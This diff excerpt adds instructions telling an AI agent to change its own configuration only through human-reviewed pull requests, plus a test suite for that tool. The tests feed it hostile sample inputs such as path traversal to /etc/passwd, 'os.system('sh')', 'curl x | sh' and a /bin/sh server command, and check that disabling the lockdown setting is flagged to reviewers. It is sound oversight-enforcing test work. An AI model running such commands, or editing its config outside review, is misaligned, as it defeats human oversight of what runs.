`AGENTS.md`, `TOOLS.md` — your standing + instructions + +This is **not** the Nerve application source code (that's the `nerve-dev` skill). + +## How to change config + +**Always propose config changes as a pull request** with the +`propose_config_change` tool — don't edit tracked config files directly. This +keeps every change reviewed, approved, and traceable, and it is the *only* way to +change config when the instance is **locked** (in lockdown, direct edits to +skills/cron/settings are blocked and wouldn't be synced anyway). + +`propose_config_change` takes a `title`, an optional `body`, and a list of +`changes` — each the **full new content** of a file, path relative to the +workspace root. It: + +1. stages your change on a branch off the remote's default branch (in an isolated + worktree — your live workspace is untouched), +2. **validates** the resulting bundle (an invalid change is rejected with the + errors to fix — no PR is opened), +3. pushes the branch and opens a PR via `gh` for a human to review and merge. + +Once merged, workspace sync pulls it and it hot-reloads. + +### What you can propose + +Only reviewed configuration — anything under `config/` or `skills/`, plus the +workspace-root instruction files listed above. Everything else in the repo is +refused, including: + +- **Runtime state** — `MEMORY.md`, `TASK.md`, `memory/`. You maintain these + yourself as you work; they aren't reviewed and a PR per update helps nobody. +- **Anything that isn't config** — `.git/`, `.github/`, `scripts/`, application + code, and `.gitattributes`/`.gitignore` (which decide whether a reviewer can + see the diff at all). If you genuinely need one of those changed, ask. +- **Files named like code** — `.py`, `.sh`, `.js` and friends — with one + exception: a cron gate plugin at `config/cron/gates/.py`. Nothing + validates a gate plugin, so keep it short and say in the PR body what it does + and why a built-in gate won't do. + +A proposal containing even one refused path is rejected whole; nothing is +dropped quietly. Fix the reported paths and re-submit. + +`skills//scripts/` **is** proposable — it's a normal part of a skill — so a +script there reaches the instance through this route like anything else. + +### Why this exists, and what it isn't + +So that a change to your configuration is reviewed, attributable, and visible in +the repository's history. It is **not** a lock. You have a shell; you could write +these files another way. Doing that produces a running config nobody agreed to +and no record of who changed what, which is the thing this avoids — not something +the tool could stop you doing. + +That's also why changes that alter *what runs* are flagged rather than refused. +When the tool can tell — a gate plugin, a script replacing an executable file, an +`mcp_servers` or `codex` or `proxy` entry in `settings.yaml` — it puts a notice at +the top of the PR. It can only recognise what it knows about, so **say it in your +own words too** whenever your change causes something new to execute. The +reviewer approving the PR is the only check there is. + +### Examples + +Add a cron job — read the current `config/cron/jobs.yaml`, add your job, and +submit the full file: + +``` +propose_config_change( + title="Add nightly repo digest cron", + body="Runs at 06:00 to summarize overnight PR activity.", + changes=[{"path": "config/cron/jobs.yaml", "content": ""}], +) +``` + +Add or edit a skill — submit the full `skills//SKILL.md`: + +``` +propose_config_change( + title="Add deploy-runbook skill", + changes=[{"path": "skills/deploy-runbook/SKILL.md", "content": ""}], +) +``` + +## Rules + +- Read the current file first (so your submitted content is a correct full + replacement, not a fragment). +- One logical change per PR; write a clear title/body — a human will review it. +- Never put secrets in tracked files; reference them as `${ENV_VAR}`. +- If validation fails, fix the reported errors and re-submit — don't try to + bypass it by editing files directly. diff --git a/tests/test_config_pr.py b/tests/test_config_pr.py new file mode 100644 index 00000000..f90ffba4 --- /dev/null +++ b/tests/test_config_pr.py @@ -0,0 +1,972 @@ +"""Tests for propose_config_change — self-modification via PR.""" + +from __future__ import annotations + +import subprocess +from pathlib import Path + +import pytest + +import nerve.config_pr as cpr +import nerve.config_validate as cvmod +from nerve.config_pr import ProposeResult, propose_config_change + + +def _cp(rc=0, stdout="", stderr=""): + return subprocess.CompletedProcess([], rc, stdout, stderr) + + +class _FakeGit: + def __init__(self, *, remote="origin", base="main", fail=None): + self.remote = remote + self.base = base + self.fail = set(fail or []) + self.calls = [] + + def __call__(self, args, cwd): + self.calls.append(args) + verb = args[0] + if verb in self.fail: + return _cp(1, stderr=f"{verb} failed") + if verb == "remote": + return _cp(stdout=self.remote) + if verb == "ls-remote": + return _cp(stdout=f"ref: refs/heads/{self.base}\tHEAD\ndeadbeef\tHEAD\n") + if verb == "symbolic-ref": + return _cp(stdout=f"origin/{self.base}\n") + return _cp(0) + + def did(self, verb): + return any(a and a[0] == verb for a in self.calls) + + +def _repo(tmp_path): + ws = tmp_path / "ws" + (ws / ".git").mkdir(parents=True) + return ws + + +def _changes(): + return [{"path": "config/settings.yaml", "content": "timezone: UTC\n"}] + + +class TestProposeConfigChange: + def test_not_a_repo(self, tmp_path): + r = propose_config_change(tmp_path / "ws", tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "not a git repository" in r.message + + def test_no_remote(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(remote="")) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "no git remote" in r.message + + def test_no_changes(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", [], now=1) + assert not r.ok and "no changes" in r.message + + def test_happy_path_opens_pr(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/o/r/pull/7")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "Add cron", "why", _changes(), now=123) + assert r.ok and r.pr_url == "https://gh/o/r/pull/7" + assert "nerve-config/add-cron-123" == r.branch + assert fake.did("push") and fake.did("worktree") + + def test_invalid_change_no_pr(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="x")) + monkeypatch.setattr( + cvmod, "validate_config_bundle", + lambda *a, **k: cvmod.ValidationResult(errors=["bad backend"]), + ) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.validation_errors == ["bad backend"] + assert not fake.did("push") # never pushed + assert not gh_called # never opened a PR + + def test_fetch_failure(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail=["fetch"])) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "fetch failed" in r.message + + def test_push_failure(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail=["push"])) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "push failed" in r.message + + def test_gh_failure_reports_branch_pushed(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(1, stderr="no auth")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "gh pr create" in r.message + + def test_changes_written_into_worktree(self, tmp_path, monkeypatch): + """The proposed content is actually staged (so validation sees it).""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="url")) + seen = {} + + def _capture(config_dir, workspace_override=None, **k): + wt = Path(workspace_override) + seen["content"] = (wt / "config" / "settings.yaml").read_text() + return cvmod.ValidationResult() + + monkeypatch.setattr(cvmod, "validate_config_bundle", _capture) + propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert seen["content"] == "timezone: UTC\n" + + +class TestBaseBranch: + """The base is the remote's default branch, never whatever HEAD is on.""" + + def _git_answering(self, *, ls=None, cached=None): + def _git(args, cwd): + if args[0] == "ls-remote": + return ls or _cp(1, stderr="Could not read from remote repository") + if args[0] == "symbolic-ref": + return cached or _cp(128, stderr="not a symbolic ref") + return _cp(0) + + return _git + + def test_prefers_the_remotes_own_answer(self, tmp_path, monkeypatch): + """A cached origin/HEAD is a clone-time snapshot; the remote is current.""" + monkeypatch.setattr(cpr, "_git", self._git_answering( + ls=_cp(stdout="ref: refs/heads/trunk\tHEAD\ndeadbeef\tHEAD\n"), + cached=_cp(stdout="origin/renamed-away\n"), + )) + assert cpr._remote_default_branch(tmp_path) == "trunk" + + def test_falls_back_to_the_cached_ref(self, tmp_path, monkeypatch): + monkeypatch.setattr(cpr, "_git", self._git_answering( + cached=_cp(stdout="origin/main\n"), + )) + assert cpr._remote_default_branch(tmp_path) == "main" + + def test_no_answer_at_all(self, tmp_path, monkeypatch): + monkeypatch.setattr(cpr, "_git", self._git_answering()) + assert cpr._remote_default_branch(tmp_path) == "" + + def test_fetch_worktree_and_pr_all_use_it(self, tmp_path, monkeypatch): + """One resolved name, so the three can't disagree about the base.""" + ws = _repo(tmp_path) + fake = _FakeGit(base="trunk") + monkeypatch.setattr(cpr, "_git", fake) + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/1") + + monkeypatch.setattr(cpr, "_gh", _gh) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert r.ok, r.message + assert ["fetch", "origin", "trunk"] in fake.calls + wt_add = next(a for a in fake.calls if a[:2] == ["worktree", "add"]) + assert wt_add[-1] == "origin/trunk" + assert seen["args"][seen["args"].index("--base") + 1] == "trunk" + + def test_undiscoverable_base_is_refused_not_guessed(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + fake.fail = {"ls-remote", "symbolic-ref"} + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "default branch" in r.message + assert "set-head" in r.message + assert not fake.did("fetch") and not fake.did("worktree") + + +class TestPathSafety: + def test_rejects_dotdot_traversal(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change( + ws, tmp_path / "cfg", "t", "b", + [{"path": "../../etc/pwned.yaml", "content": "x"}], now=1, + ) + assert not r.ok and "../../etc/pwned.yaml" in r.message + assert not fake.did("worktree") # rejected before touching git + assert not (tmp_path.parent / "etc").exists() + + def test_rejects_absolute_path(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + r = propose_config_change( + ws, tmp_path / "cfg", "t", "b", + [{"path": "/etc/pwned", "content": "x"}], now=1, + ) + assert not r.ok and "relative to the workspace root" in r.message + + def test_rel_escapes_helper(self): + assert cpr._rel_escapes("../x") + assert cpr._rel_escapes("/abs") + assert cpr._rel_escapes("a/../../b") + assert not cpr._rel_escapes("config/cron/jobs.yaml") + assert not cpr._rel_escapes("skills/x/SKILL.md") + + +class TestProposableSurface: + """A proposal carries reviewed configuration — scope, not just containment.""" + + @pytest.mark.parametrize("rel", [ + "config/settings.yaml", + "config/cron/jobs.yaml", + "config/cron/gates/stale_tasks.py", # the one sanctioned place for code + "config/cron/gates/.py", # the loader's *.py glob matches this + "skills/deploy-runbook/SKILL.md", + "skills/deploy-runbook/scripts/notes.md", + "skills/deploy-runbook/reference.md", + "SOUL.md", + "AGENTS.md", + ]) + def test_allowed(self, rel): + assert cpr._proposal_path_problem(rel) is None + + @pytest.mark.parametrize("rel,fragment", [ + # Not configuration, however contained. + (".github/workflows/validate.yml", "proposable surface"), + (".git/hooks/post-merge", "proposable surface"), + (".gitattributes", "proposable surface"), + ("scripts/mechanical-action.sh", "proposable surface"), + ("nerve/config.py", "proposable surface"), + # Runtime state the instance maintains for itself. + ("MEMORY.md", "proposable surface"), + ("TASK.md", "proposable surface"), + ("memory/tasks/active/x.md", "proposable surface"), + # A directory is not a file. + ("config", "proposable surface"), + ("skills", "proposable surface"), + # Code outside the gate-plugin directory. + ("skills/deploy-runbook/helper.py", "not code"), + ("skills/deploy-runbook/run.sh", "not code"), + ("config/evil.py", "not code"), + ("config/cron/gates/nested/evil.py", "not code"), # loader never imports it + ("skills/ops/.py", "not code"), + ("skills/ops/x.mjs", "not code"), + ("skills/ops/x.ps1", "not code"), + # Spellings the *.py glob would miss here but a filesystem may normalize + # into one it wouldn't. + ("config/cron/gates/evil.py ", "not code"), + ("config/cron/gates/evil.py.", "not code"), + ("config/cron/gates/evil.pyc", "not code"), + # git metadata and the files that decide whether a diff is readable. + ("config/.git/config", "git's own metadata"), + ("config/.gitattributes", "collapse the diff"), + ("skills/ops/.gitignore", "collapse the diff"), + # Traversal, including a path that normalizes back inside. + ("/etc/passwd", "relative to the workspace root"), + ("../escape.yaml", "relative to the workspace root"), + ("config/../config/settings.yaml", "relative to the workspace root"), + ]) + def test_refused(self, rel, fragment): + problem = cpr._proposal_path_problem(rel) + assert problem is not None, rel + assert fragment in problem, problem + + def test_py_outside_gates_never_reaches_git(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change( + ws, tmp_path / "cfg", "Add a helper", "", + [{"path": "skills/ops/pwn.py", "content": "import os; os.system('sh')\n"}], + now=1, + ) + assert not r.ok and "not code" in r.message + assert not fake.did("worktree") + + def test_mixed_proposal_is_rejected_whole(self, tmp_path, monkeypatch): + """One refused path kills the proposal — the rest is not quietly kept.""" + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change( + ws, tmp_path / "cfg", "Tidy up", "", + [ + {"path": "config/settings.yaml", "content": "timezone: UTC\n"}, + {"path": ".github/workflows/validate.yml", "content": "on: push\n"}, + {"path": "scripts/mechanical-action.sh", "content": "curl x | sh\n"}, + ], + now=1, + ) + assert not r.ok + assert "refused 2 of 3" in r.message + assert ".github/workflows/validate.yml" in r.message + assert "scripts/mechanical-action.sh" in r.message + assert not fake.did("worktree") and not gh_called + + +class TestExecutablePayloadIsFlagged: + """A gate plugin is accepted, but never quietly.""" + + def _propose(self, tmp_path, monkeypatch, changes, body=""): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/o/r/pull/9") + + monkeypatch.setattr(cpr, "_gh", _gh) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change( + ws, tmp_path / "cfg", "Add stale-task gate", body, changes, now=5, + ) + return r, seen + + def test_gate_plugin_opens_a_pr_that_announces_the_code(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [ + {"path": "config/cron/gates/stale.py", "content": "class G:\n pass\n"}, + {"path": "config/cron/jobs.yaml", "content": "jobs: []\n"}, + ], + body="Skip the digest when there is no backlog.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/stale.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert body.startswith("**This proposal changes what runs on the instance.**") + assert "config/cron/gates/stale.py" in body + assert "Skip the digest when there is no backlog." in body # agent's body kept + + def test_yaml_only_proposal_gets_no_notice(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/cron/jobs.yaml", "content": "jobs: []\n"}], + body="Reschedule the digest.", + ) + assert r.ok and r.code_paths == [] + body = seen["args"][seen["args"].index("--body") + 1] + assert body == "Reschedule the digest." + + def test_a_file_named_exactly_dot_py_is_still_code(self, tmp_path, monkeypatch): + """``Path('.py').suffix`` is empty; the loader's ``*.py`` glob disagrees.""" + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/cron/gates/.py", "content": "import os\n"}], + body="Adjust the nightly digest schedule.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert body.startswith("**This proposal changes what runs on the instance.**") + + def test_settings_naming_something_to_run_is_announced(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [{ + "path": "config/settings.yaml", + "content": ( + "timezone: UTC\n" + "mcp_servers:\n" + " x:\n" + " command: /bin/sh\n" + " args: ['-c', 'echo hi']\n" + ), + }], + body="Add an MCP server.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/settings.yaml"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "mcp_servers" in body + assert "which name things the daemon runs" in body + + def test_inert_settings_are_not_announced(self, tmp_path, monkeypatch): + r, _ = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + ) + assert r.ok and r.code_paths == [] + + def test_unparseable_settings_announce_nothing(self, tmp_path, monkeypatch): + """Validation is about to reject it; don't guess at effects it won't have.""" + r, _ = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", "content": "mcp_servers: [unclosed\n"}], + ) + assert r.code_paths == [] + + @pytest.mark.parametrize("content,expected", [ + # An empty gate_plugins_dir is not "no directory": _expand_path('') is + # Path('.'), so the daemon imports every *.py in its working directory. + ("cron:\n gate_plugins_dir: ''\n", ["cron.gate_plugins_dir"]), + # Withdrawing the servers the merged config named changes what runs too. + ("mcp_servers: {}\n", ["mcp_servers"]), + ("mcp_servers: []\n", ["mcp_servers"]), + ("mcp_servers:\n", ["mcp_servers"]), # bare key, null value + ("codex: false\n", ["codex"]), + ("proxy: 0\n", ["proxy"]), + # Genuinely absent stays absent, at both levels. + ("timezone: UTC\n", []), + ("cron:\n timezone: UTC\n", []), + ("cron: {}\n", []), + # lockdown is watched, but by change and not by presence — a locked box + # restates `lockdown: true` in every proposal it ever makes. It belongs + # to _SECURITY_SETTINGS_KEYS and must never leak into this list. + ("lockdown: true\n", []), + ("lockdown: false\n", []), + ]) + def test_watched_keys_are_judged_by_presence_not_truthiness(self, content, expected): + assert cpr._effectful_settings_keys(content) == expected + + def test_emptying_the_gate_plugin_dir_is_announced(self, tmp_path, monkeypatch): + """The falsey value with the largest effect must not slip past the notice.""" + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", + "content": "timezone: UTC\ncron:\n gate_plugins_dir: ''\n"}], + body="Tidy up the cron section.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/settings.yaml"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "cron.gate_plugins_dir" in body + + +class TestSecurityKeysAreJudgedByChange: + """lockdown is flagged when a proposal *moves* it, never when it restates it.""" + + def _dst(self, tmp_path, current=None, *, raw=None): + """A stand-in for the staged worktree's copy of the file, pre-overwrite.""" + p = tmp_path / "settings.yaml" + if raw is not None: + p.write_bytes(raw) + elif current is not None: + p.write_text(current) + return p + + @pytest.mark.parametrize("current,proposed", [ + # The whole point: a locked instance restating its own flag, on every + # proposal it ever makes. Under presence semantics this always fires, + # and a notice that always fires is a notice nobody reads. + ("lockdown: true\ntimezone: UTC\n", "lockdown: true\ntimezone: Europe/Berlin\n"), + ("lockdown: false\n", "lockdown: false\ntimezone: UTC\n"), + # Never stated before, still not stated: nothing about lockdown moved. + ("timezone: UTC\n", "timezone: Europe/Berlin\n"), + # No settings.yaml in the base branch at all is a definite "states + # nothing", not an unknown — and the proposal states nothing either. + (None, "timezone: UTC\n"), + # Same value, different spelling of the same YAML boolean. + ("lockdown: yes\n", "lockdown: true\n"), + ]) + def test_unchanged_is_not_flagged(self, tmp_path, current, proposed): + dst = self._dst(tmp_path, current) + assert cpr._security_settings_change(proposed, dst) is None + + @pytest.mark.parametrize("current,proposed,transition", [ + # Disarmed outright. + ("lockdown: true\n", "lockdown: false\n", "true → false"), + # Deleting the line disarms it just as well, and presence cannot see it. + ("lockdown: true\ntimezone: UTC\n", "timezone: UTC\n", "true → not stated"), + ("lockdown: true\n", "", "true → not stated"), + # Pinning it off where the file said nothing. Absent already means off, + # so the effective flag does not move — but the line is new in the diff + # and this fires once, on the proposal that adds it, not forever after. + ("timezone: UTC\n", "lockdown: false\ntimezone: UTC\n", "not stated → false"), + (None, "lockdown: false\n", "not stated → false"), + # Turning it *on* changes which config layers the daemon reads, which is + # every bit as much a change to what runs. + ("timezone: UTC\n", "lockdown: true\ntimezone: UTC\n", "not stated → true"), + ("lockdown: false\n", "lockdown: true\n", "false → true"), + # A value only the environment can resolve is a change to a value that + # was decided in the file, and the notice quotes it as it stands. + ("lockdown: true\n", "lockdown: ${NERVE_LOCKDOWN}\n", "true → '${NERVE_LOCKDOWN}'"), + ]) + def test_a_moved_value_is_flagged(self, tmp_path, current, proposed, transition): + dst = self._dst(tmp_path, current) + reason = cpr._security_settings_change(proposed, dst) + assert reason and f"lockdown ({transition})" in reason + + @pytest.mark.parametrize("kwargs", [ + {"current": "lockdown: [unclosed\n"}, # malformed YAML + {"current": "- not\n- a mapping\n"}, # parses, wrong shape + {"raw": b"lockdown: \xff\xfe true\n"}, # not decodable as UTF-8 + ]) + def test_an_unreadable_base_revision_errs_toward_telling(self, tmp_path, kwargs): + """It might have said `lockdown: true`; silence is the wrong guess.""" + dst = self._dst(tmp_path, **kwargs) + # Note the proposal does not mention lockdown at all — the point is that + # we cannot tell whether it *removed* it. + reason = cpr._security_settings_change("timezone: UTC\n", dst) + assert reason and "lockdown" in reason + assert "could not be" in reason + + def test_an_unreadable_base_revision_never_raises(self, tmp_path): + """A directory where the file should be still has to answer, not throw.""" + (tmp_path / "settings.yaml").mkdir() + reason = cpr._security_settings_change("lockdown: true\n", tmp_path / "settings.yaml") + assert reason and "lockdown" in reason + + def test_an_unreadable_proposal_announces_nothing(self, tmp_path): + """Mirror of the presence rule: validation is about to reject it.""" + dst = self._dst(tmp_path, "lockdown: true\n") + assert cpr._security_settings_change("lockdown: [unclosed\n", dst) is None + + +@pytest.mark.skipif(not __import__("shutil").which("git"), reason="git not available") +class TestRealGit: + def _git(self, *args, cwd): + import os + subprocess.run( + ["git", *args], cwd=str(cwd), check=True, capture_output=True, text=True, + env={"GIT_AUTHOR_NAME": "t", "GIT_AUTHOR_EMAIL": "t@t", + "GIT_COMMITTER_NAME": "t", "GIT_COMMITTER_EMAIL": "t@t", + "HOME": str(cwd), "PATH": os.environ["PATH"]}, + ) + + def _out(self, *args, cwd): + return subprocess.run( + ["git", *args], cwd=str(cwd), capture_output=True, text=True, + ).stdout.strip() + + def _setup(self, tmp_path, settings="timezone: UTC\n"): + origin = tmp_path / "origin" + origin.mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config").mkdir() + (origin / "config" / "settings.yaml").write_text(settings) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_opens_pr_and_cleans_up(self, tmp_path, monkeypatch): + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/1")) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "body", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=999, + ) + assert r.ok, r.message + # Live working tree is untouched (still on main, clean, original content). + status = subprocess.run( + ["git", "status", "--porcelain"], cwd=str(ws), capture_output=True, text=True, + ) + assert status.stdout.strip() == "" + assert "UTC" in (ws / "config" / "settings.yaml").read_text() + # No dangling local nerve-config/* branch remains. + branches = subprocess.run( + ["git", "branch"], cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "nerve-config/" not in branches + # The branch WAS pushed to origin. + remote_branches = subprocess.run( + ["git", "branch", "-r"], cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "nerve-config/change-tz-999" in remote_branches + + def _capture_gh(self, monkeypatch, url="https://gh/pr/1"): + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout=url) + + monkeypatch.setattr(cpr, "_gh", _gh) + return seen + + def _lockdown_proposal(self, tmp_path, monkeypatch, base, proposed, now): + """Propose ``proposed`` over a base branch that really contains ``base``. + + A real clone, because the comparison is against the revision the staged + worktree is checked out from — a faked worktree has no base revision to + compare with and would pass whatever the rule was. Validation is stubbed: + `lockdown: true` in a bundle drags in the locked-instance secret checks, + which are a different feature's business. + """ + ws = self._setup(tmp_path, base) + seen = self._capture_gh(monkeypatch) + monkeypatch.setattr( + cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult(), + ) + r = propose_config_change( + ws, tmp_path / "cfg", "Tidy settings", "Routine tidy-up.", + [{"path": "config/settings.yaml", "content": proposed}], now=now, + ) + assert r.ok, r.message + return r, seen["args"][seen["args"].index("--body") + 1] + + def test_restating_lockdown_unchanged_is_not_announced(self, tmp_path, monkeypatch): + """The false positive that would fire on every proposal a locked box makes. + + Judged by presence this flags its own unchanged flag, every time, and a + notice a reviewer learns to scroll past protects nothing. + """ + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: true\ntimezone: Europe/Berlin\n", + now=21, + ) + assert r.code_paths == [] + assert body == "Routine tidy-up." + + def test_turning_lockdown_off_is_announced(self, tmp_path, monkeypatch): + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: false\ntimezone: UTC\n", + now=22, + ) + assert r.code_paths == ["config/settings.yaml"] + assert body.startswith("**This proposal changes what runs on the instance.**") + assert "lockdown (true → false)" in body + + def test_deleting_the_lockdown_line_is_announced(self, tmp_path, monkeypatch): + """Removing the key disarms the control, and presence cannot see it at all.""" + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", "timezone: UTC\n", now=23, + ) + assert r.code_paths == ["config/settings.yaml"] + assert "lockdown (true → not stated)" in body + + def test_both_notices_appear_together(self, tmp_path, monkeypatch): + """The two rules are independent; one firing must not hide the other.""" + r, body = self._lockdown_proposal( + tmp_path, monkeypatch, + "lockdown: true\ntimezone: UTC\n", + "lockdown: false\nmcp_servers:\n x:\n command: /bin/sh\n", + now=24, + ) + assert r.code_paths == ["config/settings.yaml"] + assert "mcp_servers" in body and "lockdown" in body + + def test_detached_head_targets_the_remote_default(self, tmp_path, monkeypatch): + """A sync leaves the workspace detached; 'HEAD' is not a branch to target.""" + ws = self._setup(tmp_path) + self._git("checkout", "--detach", "HEAD", cwd=ws) + assert self._out("rev-parse", "--abbrev-ref", "HEAD", cwd=ws) == "HEAD" + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=11, + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_feature_checkout_neither_targets_nor_carries_that_branch( + self, tmp_path, monkeypatch, + ): + """Basing off the current branch would smuggle its unmerged commits in.""" + ws = self._setup(tmp_path) + origin = tmp_path / "origin" + self._git("checkout", "-b", "feature", cwd=origin) + (origin / "config" / "unreviewed.yaml").write_text("x: 1\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "wip", cwd=origin) + self._git("checkout", "main", cwd=origin) + self._git("fetch", "origin", cwd=ws) + self._git("checkout", "-b", "feature", "origin/feature", cwd=ws) + + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=12, + ) + assert r.ok, r.message + tree = self._out( + "ls-tree", "-r", "--name-only", "origin/nerve-config/change-tz-12", cwd=ws, + ) + assert "config/unreviewed.yaml" not in tree + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_no_discoverable_base_is_refused_before_staging(self, tmp_path, monkeypatch): + """No cached origin/HEAD and an unreachable origin: say so, don't guess.""" + ws = self._setup(tmp_path) + self._git("symbolic-ref", "-d", "refs/remotes/origin/HEAD", cwd=ws) + self._git("remote", "set-url", "origin", str(tmp_path / "gone"), cwd=ws) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=13, + ) + assert not r.ok and "default branch" in r.message + assert not gh_called + assert "nerve-config/" not in self._out("branch", cwd=ws) + + def test_workspace_reached_through_a_symlink_is_still_guarded( + self, tmp_path, monkeypatch, + ): + """The path guard resolves the root, so a symlinked checkout is judged + against the tree it really is — and a redirect inside it still lands + where the scope check can see it.""" + origin = tmp_path / "origin" + (origin / "config" / "cron").mkdir(parents=True) + (origin / "skills").mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "skills" / ".keep").write_text("") + (origin / "config" / "cron" / "gates").symlink_to("../../skills") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + real = tmp_path / "ws" + self._git("clone", str(origin), str(real), cwd=tmp_path) + link = tmp_path / "via-symlink" + link.symlink_to(real) + + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + # Contained, allowed where it says it is: goes through. + r = propose_config_change( + link, tmp_path / "cfg", "Change tz", "", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=14, + ) + assert r.ok, r.message + # Contained, but the tracked symlink lands it somewhere a proposal may + # not put code: refused, through the symlinked root as well. + r 